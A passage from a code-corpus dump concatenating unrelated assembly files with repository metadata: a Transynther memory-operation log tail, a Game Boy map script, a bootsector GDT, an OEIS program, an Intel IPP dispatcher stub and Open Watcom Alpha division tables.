'size': 2, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 4, 'NT': False, 'type': 'addresses_WT_ht', 'size': 8, 'AVXalign': False}} {'src': {'type': 'addresses_D_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 1, 'same': False}} {'src': {'type': 'addresses_WT_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 11, 'same': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 8, 'NT': False, 'type': 'addresses_A_ht', 'size': 16, 'AVXalign': False}} {'src': {'same': False, 'congruent': 7, 'NT': False, 'type': 'addresses_UC_ht', 'size': 1, 'AVXalign': False}, 'OP': 'LOAD'} {'44': 397, '46': 2966, '49': 13990} 49 46 46 49 49 49 49 49 49 49 49 49 49 49 49 49 46 49 49 49 46 44 46 46 49 49 49 46 46 49 49 49 46 49 49 49 49 49 49 49 49 46 49 49 46 49 46 49 49 49 49 49 49 49 49 49 49 46 49 49 49 49 46 49 49 49 49 49 46 49 49 49 49 49 49 49 49 49 46 49 49 49 49 49 49 46 49 46 49 49 46 46 49 49 49 46 49 49 46 46 46 49 49 49 49 49 46 49 49 46 49 46 49 49 46 49 46 44 46 49 49 46 49 49 49 49 46 49 46 49 49 49 49 49 49 49 49 49 49 46 49 49 49 49 49 49 49 49 49 49 49 49 49 46 49 49 49 49 49 46 49 49 49 46 49 49 49 49 46 49 49 49 49 46 49 49 49 49 49 49 49 46 49 49 49 49 49 49 46 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 46 49 49 49 46 49 49 49 49 49 49 49 49 49 49 49 49 46 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 46 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 46 49 49 49 49 46 49 49 49 49 46 49 49 49 49 49 49 49 49 49 46 49 49 49 49 49 46 46 49 49 49 49 49 49 49 49 46 49 49 49 49 49 46 46 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 46 49 49 49 49 49 49 46 49 46 49 49 49 49 49 46 46 49 49 49 46 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 46 46 46 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 46 49 49 49 49 49 49 49 49 49 49 49 46 49 49 46 49 49 49 49 46 49 49 49 44 49 44 49 49 49 49 49 49 49 49 49 49 46 49 49 49 46 49 49 49 46 49 46 49 49 49 49 49 49 46 49 49 49 49 46 46 49 49 46 46 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 44 46 46 46 49 49 49 49 46 49 49 46 49 49 49 46 46 49 49 49 49 49 49 49 49 49 49 49 49 49 49 46 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 46 46 49 49 49 49 49 49 49 49 49 49 46 49 49 44 49 46 49 49 46 49 49 49 49 49 49 49 49 49 46 49 49 49 49 49 46 49 49 49 49 49 49 49 46 49 49 49 49 46 49 49 49 49 49 49 49 49 46 46 49 49 46 46 46 49 49 49 49 49 49 49 49 49 46 49 49 49 44 49 49 49 46 49 49 49 49 49 49 46 46 49 49 49 49 49 49 49 49 49 46 49 49 49 49 49 49 49 49 49 49 49 49 49 46 49 49 49 49 49 49 46 49 49 46 49 46 49 49 49 49 49 49 46 49 49 49 49 49 49 49 49 49 46 49 49 49 49 49 49 49 46 46 49 49 49 49 49 49 49 49 49 49 49 46 46 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 46 49 49 49 49 49 49 49 49 46 49 49 46 44 49 46 49 49 46 44 49 49 46 49 46 46 49 49 49 49 49 49 49 49 46 49 49 49 49 49 49 46 46 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 46 46 46 46 46 46 46 46 46 49 49 49 49 46 46 49 49 46 49 49 49 49 49 49 49 46 49 49 49 49 49 49 49 49 46 49 49 49 49 49 49 46 44 49 49 49 49 49 49 49 49 49 49 49 46 49 49 49 49 46 49 49 46 49 49 49 49 49 49 49 49 49 49 49 49 46 49 49 49 49 46 49 49 49 49 46 49 46 49 44 49 49 49 49 49 44 44 49 46 44 49 46 46 46 46 44 49 46 49 49 49 44 44 49 46 49 46 46 46 49 46 46 46 49 49 44 49 49 49 49 49 46 46 49 44 44 44 44 49 49 46 49 44 46 46 44 46 46 46 46 46 44 49 49 49 46 46 49 46 44 49 49 46 46 49 46 49 49 46 49 44 44 49 49 46 49 46 44 49 49 49 49 46 46 49 49 46 46 49 49 49 46 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 46 */
35.083721
2,999
0.657431
[ "MIT" ]
danielmgmi/medusa
Transynther/_processed/AVXALIGN/_ht_/i3-7100_9_0xca_notsx.log_17353_1662.asm
7,543
Assembly
SECTION "Map_4A34", ROM0[$B800] Map_4A34_Header: hdr_tileset 0 hdr_dimensions 11, 11 hdr_pointers_a Map_4A34_Blocks, Map_4A34_TextPointers hdr_pointers_b Map_4A34_Script, Map_4A34_Objects hdr_pointers_c Map_4A34_InitScript, Map_4A34_RAMScript hdr_palette $06 hdr_music MUSIC_ROUTES3, AUDIO_1 hdr_connection NORTH, $0000, 0, 0 hdr_connection SOUTH, $4C21, 5, 1 hdr_connection WEST, $472B, 16, 12 hdr_connection EAST, $4B3A, 1, 8 Map_4A34_Objects: hdr_border $0f hdr_warp_count 0 hdr_sign_count 4 hdr_signpost 9, 7, $02 hdr_signpost 17, 10, $03 hdr_signpost 17, 8, $04 hdr_signpost 17, 6, $05 hdr_object_count 1 hdr_object SPRITE_FISHER2, 11, 13, STAY, NONE, $01 Map_4A34_RAMScript: rs_fill_byte $0a rs_fill_3 $c74e rs_fill_byte $31 rs_fill_3 $c75f rs_fill_byte $6f rs_fill_3 $c770 rs_write_3 $c7df, $0a, $31, $7a rs_write_3 $c7f0, $0a, $31, $7a rs_end Map_4A34_Blocks: db $0f,$0f,$0f,$0f,$0f,$0f,$0f,$0f,$0f,$0f,$0f db $0f,$0f,$0f,$0f,$0f,$0f,$0f,$0f,$0f,$0f,$0f db $0f,$0f,$0f,$6c,$6c,$6c,$7a,$0a,$0a,$0f,$0f db $0a,$74,$74,$7a,$79,$7a,$7a,$0a,$53,$0f,$0f db $31,$31,$31,$31,$31,$31,$7a,$0a,$53,$0f,$0f db $6f,$6f,$0a,$7a,$7a,$31,$31,$7a,$53,$0f,$0f db $0f,$0f,$0f,$6f,$74,$7a,$31,$74,$0f,$0f,$0f db $0f,$0f,$0f,$0f,$6d,$7a,$31,$7a,$6e,$0f,$0f db $0f,$0f,$0f,$0f,$6d,$74,$31,$31,$6e,$0f,$0f db $0f,$0f,$0f,$0f,$0f,$6d,$7a,$31,$6e,$0f,$0f db $0f,$0f,$0f,$0f,$0f,$0f,$0a,$31,$7a,$0f,$0f Map_4A34_TextPointers: dw Map_4A34_TX1 dw Map_4A34_TX2 dw Map_4A34_TX3 dw Map_4A34_TX3 dw Map_4A34_TX3 Map_4A34_InitScript: ret Map_4A34_Script: ret Map_4A34_SecretCount: db 0 Map_4A34_TX1: TX_ASM jp EnhancedTextOnly text "Hi, I'm yet another" next "useless NPC to talk to." done Map_4A34_TX2: TX_ASM jp EnhancedTextOnly text "Welcome to Yet Another" next "Route!" para "It leads to a Yet Another" next "Cave, which in turn leads" cont "to a Yet Another Pathway." done Map_4A34_TX3: TX_ASM ld hl, Map_4A34_Clicked call PrintTextEnhanced ld hl, Map_4A34_SecretCount inc [hl] ld hl, Map_4A34_TX4 ldh a, [$8c] ld c, a ld a, PREDEF_ReplaceTextPointer call PredefCmd ld a, [Map_4A34_SecretCount] cp 3 jr z, .triggered jp TextScriptEnd .triggered ld hl, Map_4A34_SecretOpenRAMScript call RunRAMScript ld b, b_RedrawMapView ld hl, RedrawMapView call Bankswitch ld hl, Map_4A34_Opened call PrintTextEnhanced jp TextScriptEnd Map_4A34_SecretOpenRAMScript: rs_fill_byte $0a rs_fill_2 $c749 rs_fill_3 $c74b rs_end Map_4A34_TX4: TX_ASM jp EnhancedTextOnly text "Nothing wrong here." done Map_4A34_Clicked: text "Hey, a secret switch!" next "Let's press it!" tx_snd SFX_SWITCH done Map_4A34_Opened: text "...??" tx_snd SFX_GO_INSIDE done
24.330769
63
0.618084
[ "MIT" ]
stranck/fools2018-1
savefile/maps/4A34_YetAnotherRoute.asm
3,163
Assembly
; GDT gdt_start: gdt_null: ; the mandatory null descriptor dd 0x0 ; ’dd’ means define double word (i.e. 4 bytes) dd 0x0 gdt_code: ; the code segment descriptor ; base=0x0 , limit=0xfffff, ; 1st flags : (present)1 (privilege)00 (descriptor type)1 -> 1001b ; type flags : (code)1 (conforming)0 (readable)1 (accessed)0 -> 1010b ; 2nd flags : (granularity)1 (32 - bit default )1 (64 - bit seg)0 (AVL)0 -> 1100b dw 0xffff ; Limit (bits 0-15) dw 0x0 ; Base (bits 0-15) db 0x0 ; Base (bits 16-23) db 10011010b ; 1st flags, type flags db 11001111b ; 2nd flags, Limit (bits 16-19) db 0x0 ; Base (bits 24-31) gdt_data: ; the data segment descriptor ; Same as code segment except for the type flags: ; type flags: (code)0 (expand down)0 (writable)1 (accessed)0 -> 0010b dw 0xffff ; Limit (bits 0-15) dw 0x0 ; Base (bits 0-15) db 0x0 ; Base (bits 16-23) db 10010010b ; 1st flags, type flags db 11001111b ; 2nd flags, Limit (bits 16-19) db 0x0 ; Base (bits 24-31) gdt_end: ; The reason for putting a label at the end of the ; GDT is so we can have the assembler calculate ; the size of the GDT for the GDT decriptor (below) ; GDT descriptior gdt_descriptor: dw gdt_end - gdt_start - 1 ; Size of our GDT, always less one ; of the true size dd gdt_start ; Start address of our GDT ; Define some handy constants for the GDT segment descriptor offsets, which ; are what segment registers must contain when in protected mode. For example, ; when we set DS = 0x10 in PM, the CPU knows that we mean it to use the ; segment described at offset 0x10 (i.e. 16 bytes) in our GDT, which in our ; case is the DATA segment (0x0 -> NULL; 0x08 -> CODE; 0x10 -> DATA) CODE_SEG equ gdt_code - gdt_start DATA_SEG equ gdt_data - gdt_start
39.085106
82
0.667937
[ "MIT" ]
100PXSquared/DerpiOS
bootsector/gdt.asm
1,841
Assembly
; A125619: Minimal number of blocks in any uniform (n,3)-splitting system. ; Submitted by Jamie Morken(w2) ; 2,3,4,3,4,5,5,5,6,6,6,5,6,6 mul $0,2 mov $3,1 lpb $0 sub $0,1 div $0,2 add $1,2 sub $2,$3 mov $3,12 add $3,$0 div $3,2 mod $3,2 mul $3,$2 add $1,$3 add $2,1 lpe mov $0,$1 div $0,2 add $0,2
13.956522
74
0.570093
[ "Apache-2.0" ]
ckrause/loda-programs
oeis/125/A125619.asm
321
Assembly
extern m7_ippsGFpECInitStd521r1:function extern n8_ippsGFpECInitStd521r1:function extern y8_ippsGFpECInitStd521r1:function extern e9_ippsGFpECInitStd521r1:function extern l9_ippsGFpECInitStd521r1:function extern n0_ippsGFpECInitStd521r1:function extern k0_ippsGFpECInitStd521r1:function extern ippcpJumpIndexForMergedLibs extern ippcpSafeInit:function segment .data align 8 dq .Lin_ippsGFpECInitStd521r1 .Larraddr_ippsGFpECInitStd521r1: dq m7_ippsGFpECInitStd521r1 dq n8_ippsGFpECInitStd521r1 dq y8_ippsGFpECInitStd521r1 dq e9_ippsGFpECInitStd521r1 dq l9_ippsGFpECInitStd521r1 dq n0_ippsGFpECInitStd521r1 dq k0_ippsGFpECInitStd521r1 segment .text global ippsGFpECInitStd521r1:function (ippsGFpECInitStd521r1.LEndippsGFpECInitStd521r1 - ippsGFpECInitStd521r1) .Lin_ippsGFpECInitStd521r1: db 0xf3, 0x0f, 0x1e, 0xfa call ippcpSafeInit wrt ..plt align 16 ippsGFpECInitStd521r1: db 0xf3, 0x0f, 0x1e, 0xfa mov rax, qword [rel ippcpJumpIndexForMergedLibs wrt ..gotpc] movsxd rax, dword [rax] lea r11, [rel .Larraddr_ippsGFpECInitStd521r1] mov r11, qword [r11+rax*8] jmp r11 .LEndippsGFpECInitStd521r1:
30.282051
111
0.813717
[ "Apache-2.0" ]
zyktrcn/ippcp
_build/dispatcher/jmp_ippsGFpECInitStd521r1_53252d21.asm
1,181
Assembly
;***************************************************************************** ;* ;* Open Watcom Project ;* ;* Portions Copyright (c) 1983-2002 Sybase, Inc. All Rights Reserved. ;* ;* ======================================================================== ;* ;* This file contains Original Code and/or Modifications of Original ;* Code as defined in and that are subject to the Sybase Open Watcom ;* Public License version 1.0 (the 'License'). You may not use this file ;* except in compliance with the License. BY USING THIS FILE YOU AGREE TO ;* ALL TERMS AND CONDITIONS OF THE LICENSE. A copy of the License is ;* provided with the Original Code and Modifications, and is also ;* available at www.sybase.com/developer/opensource. ;* ;* The Original Code and all software distributed under the License are ;* distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER ;* EXPRESS OR IMPLIED, AND SYBASE AND ALL CONTRIBUTORS HEREBY DISCLAIM ;* ALL SUCH WARRANTIES, INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF ;* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR ;* NON-INFRINGEMENT. Please see the License for the specific language ;* governing rights and limitations under the License. ;* ;* ======================================================================== ;* ;* Description: Data for Alpha AXP division routines. ;* ;***************************************************************************** .data .globl _OtsDivData _OtsDivData: .byte 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 .byte 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 .byte 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80 .byte 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 .byte 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80 .byte 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 .byte 0x02, 0x00, 0x56, 0x55, 0x55, 0x55, 0x55, 0x55 .byte 0x56, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55 .byte 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80 .byte 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 .byte 0x03, 0x00, 0x34, 0x33, 0x33, 0x33, 0x33, 0x33 .byte 0x9a, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99 .byte 0x03, 0x00, 0xab, 0xaa, 0xaa, 0xaa, 0xaa, 0x2a .byte 0x56, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55 .byte 0x03, 0x00, 0x4a, 0x92, 0x24, 0x49, 0x92, 0x24 .byte 0x93, 0x24, 0x49, 0x92, 0x24, 0x49, 0x92, 0x24 .byte 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80 .byte 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 .byte 0x04, 0x00, 0xc8, 0x71, 0x1c, 0xc7, 0x71, 0x1c .byte 0x1d, 0xc7, 0x71, 0x1c, 0xc7, 0x71, 0x1c, 0xc7 .byte 0x04, 0x00, 0x9a, 0x99, 0x99, 0x99, 0x99, 0x19 .byte 0x9a, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99 .byte 0x04, 0x00, 0x18, 0x5d, 0x74, 0xd1, 0x45, 0x17 .byte 0x18, 0x5d, 0x74, 0xd1, 0x45, 0x17, 0x5d, 0x74 .byte 0x04, 0x00, 0x56, 0x55, 0x55, 0x55, 0x55, 0x15 .byte 0x56, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55 .byte 0x04, 0x00, 0x3c, 0xb1, 0x13, 0x3b, 0xb1, 0x13 .byte 0x14, 0x3b, 0xb1, 0x13, 0x3b, 0xb1, 0x13, 0x3b .byte 0x04, 0x00, 0x25, 0x49, 0x92, 0x24, 0x49, 0x12 .byte 0x93, 0x24, 0x49, 0x92, 0x24, 0x49, 0x92, 0x24 .byte 0x04, 0x00, 0x12, 0x11, 0x11, 0x11, 0x11, 0x11 .byte 0x12, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11 .byte 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80 .byte 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 .byte 0x05, 0x00, 0x10, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f .byte 0xe2, 0xe1, 0xe1, 0xe1, 0xe1, 0xe1, 0xe1, 0xe1 .byte 0x05, 0x00, 0xe4, 0x38, 0x8e, 0xe3, 0x38, 0x0e .byte 0x1d, 0xc7, 0x71, 0x1c, 0xc7, 0x71, 0x1c, 0xc7 .byte 0x05, 0x00, 0xd8, 0x50, 0x5e, 0x43, 0x79, 0x0d .byte 0xbd, 0x86, 0xf2, 0x1a, 0xca, 0x6b, 0x28, 0xaf .byte 0x05, 0x00, 0xcd, 0xcc, 0xcc, 0xcc, 0xcc, 0x0c .byte 0x9a, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99 .byte 0x05, 0x00, 0xc4, 0x30, 0x0c, 0xc3, 0x30, 0x0c .byte 0x19, 0x86, 0x61, 0x18, 0x86, 0x61, 0x18, 0x86 .byte 0x05, 0x00, 0x8c, 0x2e, 0xba, 0xe8, 0xa2, 0x0b .byte 0x18, 0x5d, 0x74, 0xd1, 0x45, 0x17, 0x5d, 0x74 .byte 0x05, 0x00, 0x91, 0x85, 0x2c, 0x64, 0x21, 0x0b .byte 0xc9, 0x42, 0x16, 0xb2, 0x90, 0x85, 0x2c, 0x64 .byte 0x05, 0x00, 0xab, 0xaa, 0xaa, 0xaa, 0xaa, 0x0a .byte 0x56, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55 .byte 0x05, 0x00, 0x0b, 0xd7, 0xa3, 0x70, 0x3d, 0x0a .byte 0x15, 0xae, 0x47, 0xe1, 0x7a, 0x14, 0xae, 0x47 .byte 0x05, 0x00, 0x9e, 0xd8, 0x89, 0x9d, 0xd8, 0x09 .byte 0x14, 0x3b, 0xb1, 0x13, 0x3b, 0xb1, 0x13, 0x3b .byte 0x05, 0x00, 0x98, 0xd0, 0x5e, 0x42, 0x7b, 0x09 .byte 0xbe, 0x84, 0xf6, 0x12, 0xda, 0x4b, 0x68, 0x2f .byte 0x05, 0x00, 0x93, 0x24, 0x49, 0x92, 0x24, 0x09 .byte 0x93, 0x24, 0x49, 0x92, 0x24, 0x49, 0x92, 0x24 .byte 0x05, 0x00, 0x3e, 0x8d, 0xb0, 0xdc, 0xd3, 0x08 .byte 0x1b, 0x61, 0xb9, 0xa7, 0x11, 0x96, 0x7b, 0x1a .byte 0x05, 0x00, 0x89, 0x88, 0x88, 0x88, 0x88, 0x08 .byte 0x12, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11 .byte 0x05, 0x00, 0x09, 0x21, 0x84, 0x10, 0x42, 0x08 .byte 0x11, 0x42, 0x08, 0x21, 0x84, 0x10, 0x42, 0x08 .byte 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80 .byte 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 .byte 0x06, 0x00, 0x08, 0x1f, 0x7c, 0xf0, 0xc1, 0x07 .byte 0x20, 0x7c, 0xf0, 0xc1, 0x07, 0x1f, 0x7c, 0xf0 .byte 0x06, 0x00, 0x88, 0x87, 0x87, 0x87, 0x87, 0x07 .byte 0xe2, 0xe1, 0xe1, 0xe1, 0xe1, 0xe1, 0xe1, 0xe1 .byte 0x06, 0x00, 0x76, 0x50, 0x07, 0x75, 0x50, 0x07 .byte 0x1e, 0xd4, 0x41, 0x1d, 0xd4, 0x41, 0x1d, 0xd4 .byte 0x06, 0x00, 0x72, 0x1c, 0xc7, 0x71, 0x1c, 0x07 .byte 0x1d, 0xc7, 0x71, 0x1c, 0xc7, 0x71, 0x1c, 0xc7 .byte 0x06, 0x00, 0x6f, 0x30, 0x45, 0x3e, 0xeb, 0x06 .byte 0x15, 0xf9, 0xac, 0x1b, 0x4c, 0x91, 0xcf, 0xba .byte 0x06, 0x00, 0x6c, 0x28, 0xaf, 0xa1, 0xbc, 0x06 .byte 0xbd, 0x86, 0xf2, 0x1a, 0xca, 0x6b, 0x28, 0xaf .byte 0x06, 0x00, 0x6a, 0x90, 0x06, 0x69, 0x90, 0x06 .byte 0x1b, 0xa4, 0x41, 0x1a, 0xa4, 0x41, 0x1a, 0xa4 .byte 0x06, 0x00, 0x67, 0x66, 0x66, 0x66, 0x66, 0x06 .byte 0x9a, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99 .byte 0x06, 0x00, 0x07, 0xe7, 0x63, 0x70, 0x3e, 0x06 .byte 0x19, 0x9c, 0x8f, 0xc1, 0xf9, 0x18, 0x9c, 0x8f .byte 0x06, 0x00, 0x62, 0x18, 0x86, 0x61, 0x18, 0x06 .byte 0x19, 0x86, 0x61, 0x18, 0x86, 0x61, 0x18, 0x86 .byte 0x06, 0x00, 0x42, 0x5f, 0xd0, 0x17, 0xf4, 0x05 .byte 0x7e, 0x41, 0x5f, 0xd0, 0x17, 0xf4, 0x05, 0x7d .byte 0x06, 0x00, 0x46, 0x17, 0x5d, 0x74, 0xd1, 0x05 .byte 0x18, 0x5d, 0x74, 0xd1, 0x45, 0x17, 0x5d, 0x74 .byte 0x06, 0x00, 0x5c, 0xb0, 0x05, 0x5b, 0xb0, 0x05 .byte 0x17, 0x6c, 0xc1, 0x16, 0x6c, 0xc1, 0x16, 0x6c .byte 0x06, 0x00, 0xc9, 0x42, 0x16, 0xb2, 0x90, 0x05 .byte 0xc9, 0x42, 0x16, 0xb2, 0x90, 0x85, 0x2c, 0x64 .byte 0x06, 0x00, 0xc5, 0xe4, 0x0a, 0x62, 0x72, 0x05 .byte 0x63, 0x72, 0x05, 0x31, 0xb9, 0x82, 0x98, 0x5c .byte 0x06, 0x00, 0x56, 0x55, 0x55, 0x55, 0x55, 0x05 .byte 0x56, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55 .byte 0x06, 0x00, 0xc2, 0xcb, 0x29, 0x78, 0x39, 0x05 .byte 0x83, 0x97, 0x53, 0xf0, 0x72, 0x0a, 0x5e, 0x4e .byte 0x06, 0x00, 0x86, 0xeb, 0x51, 0xb8, 0x1e, 0x05 .byte 0x15, 0xae, 0x47, 0xe1, 0x7a, 0x14, 0xae, 0x47 .byte 0x06, 0x00, 0x06, 0x05, 0x05, 0x05, 0x05, 0x05 .byte 0x42, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41 .byte 0x06, 0x00, 0x4f, 0xec, 0xc4, 0x4e, 0xec, 0x04 .byte 0x14, 0x3b, 0xb1, 0x13, 0x3b, 0xb1, 0x13, 0x3b .byte 0x06, 0x00, 0xdf, 0xca, 0x3e, 0x87, 0xd4, 0x04 .byte 0x53, 0x13, 0x8c, 0xb7, 0xb2, 0xcf, 0x21, 0x35 .byte 0x06, 0x00, 0x4c, 0x68, 0x2f, 0xa1, 0xbd, 0x04 .byte 0xbe, 0x84, 0xf6, 0x12, 0xda, 0x4b, 0x68, 0x2f .byte 0x06, 0x00, 0x05, 0x79, 0x4a, 0x90, 0xa7, 0x04 .byte 0x13, 0xe4, 0x29, 0x41, 0x9e, 0x12, 0xe4, 0x29 .byte 0x06, 0x00, 0x4a, 0x92, 0x24, 0x49, 0x92, 0x04 .byte 0x93, 0x24, 0x49, 0x92, 0x24, 0x49, 0x92, 0x24 .byte 0x06, 0x00, 0x48, 0x70, 0x1f, 0xc1, 0x7d, 0x04 .byte 0x7e, 0x04, 0xf7, 0x11, 0xdc, 0x47, 0x70, 0x1f .byte 0x06, 0x00, 0x9f, 0x46, 0x58, 0xee, 0x69, 0x04 .byte 0x1b, 0x61, 0xb9, 0xa7, 0x11, 0x96, 0x7b, 0x1a .byte 0x06, 0x00, 0x4a, 0xdd, 0x97, 0xc7, 0x56, 0x04 .byte 0x46, 0xd0, 0x70, 0x52, 0xf7, 0xe5, 0xb1, 0x15 .byte 0x06, 0x00, 0x45, 0x44, 0x44, 0x44, 0x44, 0x04 .byte 0x12, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11 .byte 0x06, 0x00, 0x37, 0xef, 0x53, 0x5c, 0x32, 0x04 .byte 0x11, 0xac, 0xa3, 0xcd, 0xfb, 0x14, 0x97, 0x0c .byte 0x06, 0x00, 0x85, 0x10, 0x42, 0x08, 0x21, 0x04 .byte 0x11, 0x42, 0x08, 0x21, 0x84, 0x10, 0x42, 0x08 .byte 0x06, 0x00, 0x42, 0x10, 0x04, 0x41, 0x10, 0x04 .byte 0x11, 0x04, 0x41, 0x10, 0x04, 0x41, 0x10, 0x04 .byte 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80 .byte 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 .byte 0x07, 0x00, 0x40, 0xf0, 0x03, 0x3f, 0xf0, 0x03 .byte 0x20, 0xf8, 0x81, 0x1f, 0xf8, 0x81, 0x1f, 0xf8 .byte 0x07, 0x00, 0x84, 0x0f, 0x3e, 0xf8, 0xe0, 0x03 .byte 0x20, 0x7c, 0xf0, 0xc1, 0x07, 0x1f, 0x7c, 0xf0 .byte 0x07, 0x00, 0x17, 0x7e, 0x35, 0x26, 0xd2, 0x03 .byte 0xa1, 0x72, 0x76, 0x0b, 0xbf, 0x1a, 0x13, 0xe9 .byte 0x07, 0x00, 0xc4, 0xc3, 0xc3, 0xc3, 0xc3, 0x03 .byte 0xe2, 0xe1, 0xe1, 0xe1, 0xe1, 0xe1, 0xe1, 0xe1 .byte 0x07, 0x00, 0x31, 0xd7, 0x0e, 0xcc, 0xb5, 0x03 .byte 0x61, 0xae, 0x1d, 0x98, 0x6b, 0x07, 0xe6, 0xda .byte 0x07, 0x00, 0x3b, 0xa8, 0x83, 0x3a, 0xa8, 0x03 .byte 0x1e, 0xd4, 0x41, 0x1d, 0xd4, 0x41, 0x1d, 0xd4 .byte 0x07, 0x00, 0x74, 0x20, 0xd1, 0x0a, 0x9b, 0x03 .byte 0x13, 0xad, 0xb0, 0x39, 0x90, 0x68, 0x85, 0xcd .byte 0x07, 0x00, 0x39, 0x8e, 0xe3, 0x38, 0x8e, 0x03 .byte 0x1d, 0xc7, 0x71, 0x1c, 0xc7, 0x71, 0x1c, 0xc7 .byte 0x07, 0x00, 0x39, 0x70, 0xe0, 0xc0, 0x81, 0x03 .byte 0x04, 0x07, 0x0e, 0x1c, 0x38, 0x70, 0xe0, 0xc0 .byte 0x07, 0x00, 0x38, 0x98, 0x22, 0x9f, 0x75, 0x03 .byte 0x15, 0xf9, 0xac, 0x1b, 0x4c, 0x91, 0xcf, 0xba .byte 0x07, 0x00, 0x04, 0x9d, 0x36, 0xd0, 0x69, 0x03 .byte 0x1c, 0xe8, 0xb4, 0x81, 0x4e, 0x1b, 0xe8, 0xb4 .byte 0x07, 0x00, 0x36, 0x94, 0xd7, 0x50, 0x5e, 0x03 .byte 0xbd, 0x86, 0xf2, 0x1a, 0xca, 0x6b, 0x28, 0xaf .byte 0x07, 0x00, 0x4d, 0x0d, 0xec, 0x1d, 0x53, 0x03 .byte 0x1b, 0xd8, 0x3b, 0xa6, 0x06, 0xf6, 0x8e, 0xa9 .byte 0x07, 0x00, 0x35, 0x48, 0x83, 0x34, 0x48, 0x03 .byte 0x1b, 0xa4, 0x41, 0x1a, 0xa4, 0x41, 0x1a, 0xa4 .byte 0x07, 0x00, 0x07, 0xa2, 0xd2, 0x91, 0x3d, 0x03 .byte 0xd3, 0x91, 0x3d, 0x03, 0x51, 0xe9, 0xc8, 0x9e .byte 0x07, 0x00, 0x34, 0x33, 0x33, 0x33, 0x33, 0x03 .byte 0x9a, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99 .byte 0x07, 0x00, 0xde, 0x9a, 0x1f, 0x16, 0x29, 0x03 .byte 0x53, 0x06, 0x9e, 0x6e, 0xcd, 0x0f, 0x8b, 0x94 .byte 0x07, 0x00, 0x84, 0xf3, 0x31, 0x38, 0x1f, 0x03 .byte 0x19, 0x9c, 0x8f, 0xc1, 0xf9, 0x18, 0x9c, 0x8f .byte 0x07, 0x00, 0x7f, 0xed, 0x21, 0x97, 0x15, 0x03 .byte 0x38, 0x9a, 0x3a, 0xbf, 0xf6, 0x90, 0xcb, 0x8a .byte 0x07, 0x00, 0x31, 0x0c, 0xc3, 0x30, 0x0c, 0x03 .byte 0x19, 0x86, 0x61, 0x18, 0x86, 0x61, 0x18, 0x86 .byte 0x07, 0x00, 0x04, 0x03, 0x03, 0x03, 0x03, 0x03 .byte 0x82, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81 .byte 0x07, 0x00, 0xa1, 0x2f, 0xe8, 0x0b, 0xfa, 0x02 .byte 0x7e, 0x41, 0x5f, 0xd0, 0x17, 0xf4, 0x05, 0x7d .byte 0x07, 0x00, 0x15, 0x2f, 0x90, 0x49, 0xf1, 0x02 .byte 0x79, 0x81, 0x4c, 0x8a, 0x17, 0xc8, 0xa4, 0x78 .byte 0x07, 0x00, 0xa3, 0x8b, 0x2e, 0xba, 0xe8, 0x02 .byte 0x18, 0x5d, 0x74, 0xd1, 0x45, 0x17, 0x5d, 0x74 .byte 0x07, 0x00, 0x71, 0x81, 0x0b, 0x5c, 0xe0, 0x02 .byte 0xe1, 0x02, 0x17, 0xb8, 0xc0, 0x05, 0x2e, 0x70 .byte 0x07, 